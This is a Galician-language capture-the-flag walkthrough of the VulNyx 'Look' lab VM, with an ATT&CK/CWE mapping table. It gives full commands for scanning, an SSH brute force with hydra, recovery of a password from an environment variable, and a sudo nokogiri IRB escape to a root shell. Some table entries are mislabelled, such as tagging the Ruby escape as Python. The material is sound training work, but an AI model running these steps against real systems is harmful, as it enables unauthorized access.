Look
Máquina virtual Look


A máquina Look é moi interesante porque...
- Usuario Apache non estándar ([usuario] en vez de www-data)
- Credenciais nunha variable de entorno
- Escalada mediante nokogiri (ferramenta Ruby)
- Uso da consola IRB para executar comandos
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Look -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Look # 22,80
whatweb IP_VulNyx_Look
curl -I IP_VulNyx_Look
Fase 2 — Análise
# Enumeración de directorios web
gobuster dir -u http://IP_VulNyx_Look -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
# Ficheiros descubertos:
# - info.php
# - look.php
# Análise de info.php
firefox http://IP_VulNyx_Look/info.php &
# Usuario/grupo de Apache identificado: XXXXXXXXX (en lugar de www-data)
# Análise de look.php
firefox http://IP_VulNyx_Look/look.php &
Fase 3 — Explotación
# Ataque de forza bruta SSH ao usuario XXXXXXXXX
hydra -l XXXXXXXXX -P /usr/share/wordlists/rockyou.txt IP_VulNyx_Look ssh
# Contrasinal atopada para XXXXXXXXX
# Acceso SSH
ssh XXXXXXXXX@IP_VulNyx_Look
# ⇒ Conseguimos consola de usuario XXXXXXXXX (flag user.txt)
Fase 4 — Post‑explotación
# Enumeración de variables de entorno
env
# Variable de entorno descuberta con contrasinal do usuario WWWWWWWWWW
# Cambio a usuario WWWWWWWWWW
su - WWWWWWWWWW
# Contrasinal: [atopada en variable de entorno]
# ⇒ Conseguimos consola de usuario WWWWWWWWWW
# Enumeración de permisos sudo
sudo -l
# User WWWWWWWWWW may run the following commands on look:
# (root) NOPASSWD: /usr/bin/nokogiri
# Consulta en GTFOBins(https://gtfobins.github.io/) para nokogiri
# Explotación de nokogiri con sudo
sudo /usr/bin/nokogiri /var/www/html/index.html
# Your document is stored in @doc...
# irb(main):001:0>
# Dentro da consola IRB de nokogiri
system("whoami")
# root
# => true
system("bash")
# ⇒ Conseguimos shell de root
# Verificación
id # uid=0(root) gid=0(root) grupos=0(root)
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Look
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Enumeración web e identificación de usuario Apache | Information disclosure / web enumeration | T1083 — File and Directory Discovery T1087 — Account Discovery |
CWE-200 — Information Exposure; CWE-209 — Generation of Error Message Containing Sensitive Information |
| 3. Explotación | Ataque de forza bruta SSH | Brute-force de credenciais | T1110.001 — Brute Force: Password Guessing T1021.004 — Remote Services: SSH |
CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts |
| 4. Post-explotación | Extracción de credenciais de variables de entorno | Credential Access | T1552.007 — Unsecured Credentials: Container API T1082 — System Information Discovery |
CWE-526 — Exposure of Sensitive Information Through Environmental Variables |
| Escalada horizontal mediante credenciais válidas | Lateral movement | T1078.003 — Valid Accounts: Local Accounts T1021 — Remote Services |
CWE-798 — Use of Hard-coded Credentials (contextual) | |
| Abuso de nokogiri con sudo para escalada de privilexios | Abuso de mecanismos de elevación | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059.006 — Command and Scripting Interpreter: Python |
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control |